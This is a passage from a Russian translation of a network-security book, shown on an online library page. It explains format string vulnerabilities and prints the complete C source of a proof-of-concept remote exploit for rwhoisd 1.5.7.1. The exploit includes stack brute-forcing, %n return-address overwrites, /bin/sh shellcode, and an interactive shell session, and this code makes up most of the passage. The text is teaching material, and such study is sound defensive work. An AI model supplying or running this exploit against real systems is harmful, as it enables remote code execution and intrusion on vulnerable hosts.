Чтение онлайн

на главную - закладки

Жанры

Защита от хакеров корпоративных сетей

авторов Коллектив

Шрифт:

if((*ptr == “0”) && (*(ptr+1) == “x”))

{

memcpy(segment,ptr,10);

segment[10] = “\0”;

chekit = strtoul(segment,NULL,16);

if(chekit == FINDME)

{

printf(“*b00m*: found address #1: %i words

away.\n”,i);

foundit = i;

return foundit;

}

ptr += 10;

}

Содержимое стека просматривается с помощью спецификаций преобразования %010p. Спецификация формата %010p выводит очередное слово стека в восьмисимвольном шестнадцатеричном представлении с предшествующими символами 0x. С помощью функции библиотеки языка C strtoul каждая из выведенных строк преобразуется в длинное целое двоичное число без знака.

Главное, что должна сделать программа, – это выполнить произвольный программный код. Для этого ей нужно подменить величины, которые могут указывать на выполнимые команды. Одной из них является адрес точки возврата из функции. Ранее уже отмечалось, что при переполнении буфера часто перезаписываются адреса возврата из функций. Адреса возврата перезаписываются по двум причинам. Во-первых, они находятся в стеке, а во-вторых, при переполнении буфера их можно перезаписать. В рассматриваемой программе адрес возврата из функции подменяется на адрес злонамеренного программного кода, прежде всего из-за легкости, с которой выполняется

эта операция.

В программе атаки переписывается адрес возврата функции print_error, который при вызове функции сохраняется в стеке. Поскольку программа предназначена только для демонстрации возможности подобных действий и на момент тестирования программы атаки адрес возврата из функции print_ error находился в стеке сервиса по адресу 0xbffff8c8, то адрес перезаписываемой области в программе атаки задан символической константой TARGET.

После определения программой атаки адреса форматирующей строки формируется новая строка со спецификациями преобразования %n. Для подмены адреса возврата спецификациям %n должны соответствовать параметры, через которые передается адрес перезаписываемой области данных. Для поиска нужных адресов используются спецификации преобразования %x с указанием ширины поля, которые просматривают нужное число слов в стеке. В программе атаки необходимую последовательность спецификаций преобразования %x функция get_str формирует автоматически по результатам работы функции brute_force.

for(i = 0;i<num-1;i++)

{

strncat(str,“%x”,2); // work our way to where target is

}

В переменной num хранится число просмотренных слов стека, предшествующих форматирующей строке. Число просмотренных слов определяется функцией brute_force. Осталось определить адрес записи. Адрес возврата перезаписывается ранее обсуждавшимся способом многократной записи. Для формирования четырехбайтного адреса используют четыре операции записи с различным смещением от начала перезаписываемой области данных. Адреса каждого из четырех байтов перезаписываемой области помещаются в отсылаемую строку:

*((long *)(str+8)) = TARGET; // target

*((long *)(str+16)) = TARGET+1;

*((long *)(str+24)) = TARGET+2;

*((long *)(str+32)) = TARGET+3;

str[36] = “\0”;

Следующий шаг состоит в записи правильных величин, определяющих адрес злонамеренного управляющего программного кода в стеке. Поскольку программа атаки только демонстрирует обсуждаемые возможности, то в ней в качестве адреса злонамеренного управляющего программного кода используется постоянный адрес 0xbffff99d. При формировании адреса 0xbffff99d в каждый байт выделенной для записи области помещаются младшие разряды величин, специально подобранных программой атаки:

TARGET – 9d

TARGET+1 – f9

TARGET+2 – ff

TARGET+3 – bf

Ранее уже обсуждалось использование спецификаций преобразования %n для записи младших разрядов данных. В последовательные возрастающие адреса памяти, задаваемые символическими константами TARGET, TARGET+1, TARGET+2 и TARGET+3, записываются младшие байты специально подобранных величин, которые совпадают с одним из байтов адреса программного кода. Например, при использовании спецификации преобразования %125x в область памяти, адрес которой равен значению константы TARGET, записывается величина, младший байт которой совпадает с младшим байтом адреса программного кода. Указав в спецификации преобразования %x ширину выводимого поля и применив способ многократной записи, можно сформировать в нужной области памяти адрес программного кода:

strncat(str,“%227x”,5); // padding

strncat(str,“%n”,2); // first write

strncat(str,“%92x”,4); // padding

strncat(str,“%n”,2); // second write

strncat(str,“%262x”,5); // padding

strncat(str,“%n”,2); // third write

strncat(str,“%192x”,5); // padding

strncat(str,“%n”,2); // fourth write

Следует отметить, что используемые в спецификации преобразования значения ширины выводимого поля полностью зависят от общего числа символов в отформатированной строке. При выводе отформатированной строки значение ширины поля можно определить автоматически программным способом.

Как только адрес возврата функции будет переписан, функция vfprintf завершится обычным образом, злонамеренный управляющий программный код будет выполнен, а функция print_error завершена. На рисунке 9.2 показан пример успешного использования уязвимости форматирующей строки.

Рис. 9.2. Использование уязвимости форматирующей строки программы rwhoisd для проникновения на хост

Ниже приведен исходный текст программы атаки:

// proof of concept

// written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system

//

// overwrites return address at 0xbffff8c8 and replaces it with

// address of shellcode (for this binary)

// the shellcode is based on that which was included

// in an exploit written by ‘CowPower’.

// http://www.securityfocus.com/archive/1/222756

#include <stdio.h>

#include <unistd.h>

#include <fcntl.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/errno.h>

#include <linux/in.h>

extern int errno;

#define FINDME 0x62626262 // we need to find this in the stack

#define TARGET 0xbffff8c8 // the address that we are

overwriting

void gen_str(char *str, int found,int target);

unsigned int brute_force(int s, char *str,char *reply);

void session(int s);

int main(int argc, char *argv[])

{

int s;

fd_set fd;

int amt;

struct sockaddr_in sa;

struct sockaddr_in ca;

int where = 0;

char reply[5000]; // receive buffer

char str[1000]; // send buffer

str[0] = “-”; // – directive prefix

str[1] = “s”;

str[2] = “o”;

str[3] = “a”;

str[4] = “ ”; // padding

str[5] = “ ”; // padding

str[6] = “ ”; // padding

str[7] = “ ”; // padding

*((long *)(str+8)) = FINDME; // find me in the stack

str[12] = “\0”;

bzero(&ca,sizeof(struct sockaddr_in));

bzero(&sa,sizeof(struct sockaddr_in));

if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)

{

perror(“socket:”);

}

if (bind(s,&ca,sizeof(struct sockaddr_in)) < 0)

{

perror(”bind:”);

}

sa.sin_addr.s_addr = inet_addr(“127.0.0.1”);

sa.sin_port = htons(4321);

sa.sin_family = AF_INET;

if (connect(s,&sa,sizeof(struct sockaddr_in)) < 0)

{

perror(“connect”);

}

where = brute_force(s,reply,str); // brute force

gen_str(str,where,TARGET); // generate exploit

string

write(s,str,strlen(str)); // send exploit code

while(1)

{

amt = read(s,reply,1);

if (reply[0] == “\n”)

break;

}

write(s,“id;\n”,4);

amt = read(s,reply,1024);

reply[amt] = “\0”;

if ((reply[0] == “u”) && (reply[1] == “i”) && (reply[2]

== “d”))

{

printf(“*b00m*: %s\n”,reply);

session(s);

}

else

{

printf(“exploit attempt unsuccessful..\n”);

}

close(s);

exit(0);

}

unsigned int brute_force(int s,char *reply, char *str)

{

// this function searches the stack on the victim host

// for the format string

int foundit = 0;

int amt = 0;

int i = 0;

amt = read(s,reply,500); // read in the header, junk

reply[amt] = “\0”;

while(!foundit)

{

strncat(str,“%010p”,5);

write(s,str,strlen(str)+1);

write(s,“\n”,1);

amt = read(s,reply,1024);

if (amt == 0)

{

fprintf(stderr,“Connection closed.\n”);

close(s);

exit(-1);

}

reply[amt] = “\0”;

amt = 0;

i = 0;

while(reply[amt-1] != “\n”)

{

i += amt;

amt = read(s, reply+i, 1024);

if (amt == 0)

{

fprintf(stderr,“Connection closed.\n”);

close(s);

exit(-1);

}

}

reply[amt] = “\0”;

foundit = find_addr(reply);

}

}

int find_addr(char *str)

{

// this function parses server output.

// searches in words from the stack for

// the format string

char *ptr;

char segment[11];

unsigned long chekit = 0;

int i = 0;

int foundit = 0;

ptr = str + 6;

while((*ptr != “\0”) && (*ptr != “\n”))

{

if((*ptr == “0”) && (*(ptr+1) == “x”))

{

memcpy(segment,ptr,10);

segment[10] = “\0”;

chekit = strtoul(segment,NULL,16);

if(chekit == FINDME)

{

printf(“*b00m*: found address #1: %i words

away.\n”,i);

foundit = i;

return foundit;

}

ptr += 10;

}

else if ((*ptr == “ ”) && (*(ptr+1) == “ ”))

{

ptr += 10; // 0x00000000

}

i++;

}

return foundit;

}

void gen_str(char *str,int num,int target)

{

// this function generates the exploit string

// it contains the addresses to write to,

// the format specifiers (padding, %n’s)

// and the shellcode

int i;

char *shellcode =

“\x90\x31\xdb\x89\xc3\x43\x89\xcb\x41\xb0\x3f\xcd\x80\xeb\x25\x5e”

“\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43\x2c”

“\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb”

“\x31\xc0\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh”;

memset(str+8,0x41,992); // clean the buffer

*((long *)(str+8)) = TARGET; // place the addresses

*((long *)(str+16)) = TARGET+1; // in the buffer

*((long *)(str+24)) = TARGET+2;

*((long *)(str+32)) = TARGET+3;

*((long *)(str+36)) = TARGET+4;

str[36] = “\0”;

for(i = 0;i<num-1;i++)

{

strncat(str,“%x”,2); // work our way to where target is

}

// the following section is binary dependent

strncat(str,“%227x”,5); // padding

strncat(str,“%n”,2); // first write

strncat(str,“%92x”,4); // padding

strncat(str,“%n”,2); // second write

strncat(str,“%262x”,5); // padding

strncat(str,“%n”,2); // third write

strncat(str,“%192x”,5); // padding

strncat(str,“%n”,2); // fourth write

strncat(str,shellcode,strlen(shellcode)); // insert the

shellcode

strncat(str,»\n»,1); // terminate with a newline

}

void session(int s)

{

// this function facilitates communication with a

// shell exec’d on the victim host.

fd_set fds;

int i;

char buf[1024];

FD_ZERO(&fds);

while(1)

{

FD_SET(s, &fds);

FD_SET(0, &fds);

select(s+1, &fds, NULL, NULL, NULL);

if (FD_ISSET(0,&fds))

{

i = 0;

bzero(buf,sizeof(buf));

fgets(buf,sizeof(buf)-2, stdin);

write(s,buf,strlen(buf));

}

else

if (FD_ISSET(s,&fds))

{

i = 0;

bzero(buf,sizeof(buf));

if ((i = read(s,buf,1024)) == 0)

{

printf(“connection lost.\n”);

exit(0);

}

buf[i] = “\0”;

printf(“%s”,buf);

}

}

}

Резюме

Уязвимость

форматирующей строки является одним из последних дополнений к стандартному набору уловок злоумышленника.

В последнее время применяемые злоумышленниками способы использования ошибок программного обеспечения стали гораздо изощреннее. Одна из причин усложнения инструментария злоумышленников состоит в том, что стало больше злоумышленников, стало больше любопытных, высматривающих что-либо полезное для себя, и стало больше ревизоров, внимательно исследующих исходные тексты программ. Сейчас стало намного легче узнать о работе систем, об уязвимости программ и о том, как их можно использовать в своих целях.

В основном злоумышленники осмыслили пользу, которую им могут принести ошибки программирования. Долгое время программисты использовали функции printf, не подозревая об ужасных последствиях их неправильного применения. До последнего времени никто не предполагал, что уязвимости форматирующей строки могут быть использованы для передачи управления злонамеренному программному коду. В дополнение к ошибкам форматирующей строки появились новые способы, например переписывание структур динамически распределяемой памяти, использование функций освобождения памяти для перезаписи указателей и ошибки целых индексов со знаком (signed integer index errors).

Злоумышленники хорошо разбираются в интересующих их вопросах. Они знают, как воспользоваться коварными ошибками в программах. Ныне злоумышленники изучают каждую программу, анализируя ее реакцию на различные варианты входных данных. Сейчас как никогда для программистов важно осознать, что многие ошибки, ранее считавшиеся безобидными, могут привести к серьезным последствиям, если их вовремя не исправить. Системные администраторы и пользователи должны знать, что в используемых программах скрытно присутствуют ошибки программного обеспечения, ныне представляющиеся несущественными, но пригодные для использования в злонамеренных целях.

Конспект

Уязвимость форматирующей строки

· Уязвимость форматирующей строки обязана своим происхождением программистам, позволяющим присваивать входные данные программы параметрам функции printf без необходимой в таких случаях проверки.

· Уязвимость форматирующей строки позволяет злоумышленникам читать из памяти данные программы и записывать в память данные злоумышленника.

· Уязвимость форматирующей строки может быть использована для вызова произвольного программного кода посредством подмены адресов возврата, содержимого таблицы GOT, указателей на функции и т. д.

Поделиться:
Популярные книги

По дороге на Оюту

Лунёва Мария
Фантастика:
космическая фантастика
8.67
рейтинг книги
По дороге на Оюту

Неправильный боец РККА Забабашкин 3

Арх Максим
3. Неправильный солдат Забабашкин
Фантастика:
попаданцы
альтернативная история
5.00
рейтинг книги
Неправильный боец РККА Забабашкин 3

Темный Лекарь 3

Токсик Саша
3. Темный Лекарь
Фантастика:
фэнтези
аниме
5.00
рейтинг книги
Темный Лекарь 3

На границе империй. Том 8

INDIGO
12. Фортуна дама переменчивая
Фантастика:
космическая фантастика
попаданцы
5.00
рейтинг книги
На границе империй. Том 8

Росток

Ланцов Михаил Алексеевич
2. Хозяин дубравы
Фантастика:
попаданцы
альтернативная история
фэнтези
7.00
рейтинг книги
Росток

Проданная невеста

Wolf Lita
Любовные романы:
любовно-фантастические романы
5.80
рейтинг книги
Проданная невеста

Кодекс Охотника. Книга VIII

Винокуров Юрий
8. Кодекс Охотника
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Кодекс Охотника. Книга VIII

Его нежеланная истинная

Кушкина Милена
Любовные романы:
любовно-фантастические романы
5.00
рейтинг книги
Его нежеланная истинная

Идеальный мир для Лекаря 26

Сапфир Олег
26. Лекарь
Фантастика:
аниме
фэнтези
5.00
рейтинг книги
Идеальный мир для Лекаря 26

СД. Том 15

Клеванский Кирилл Сергеевич
15. Сердце дракона
Фантастика:
героическая фантастика
боевая фантастика
6.14
рейтинг книги
СД. Том 15

Её (мой) ребенок

Рам Янка
Любовные романы:
современные любовные романы
6.91
рейтинг книги
Её (мой) ребенок

Мама из другого мира. Делу - время, забавам - час

Рыжая Ехидна
2. Королевский приют имени графа Тадеуса Оберона
Фантастика:
фэнтези
8.83
рейтинг книги
Мама из другого мира. Делу - время, забавам - час

Имя нам Легион. Том 8

Дорничев Дмитрий
8. Меж двух миров
Фантастика:
боевая фантастика
рпг
аниме
5.00
рейтинг книги
Имя нам Легион. Том 8

И только смерть разлучит нас

Зика Натаэль
Любовные романы:
любовно-фантастические романы
5.00
рейтинг книги
И только смерть разлучит нас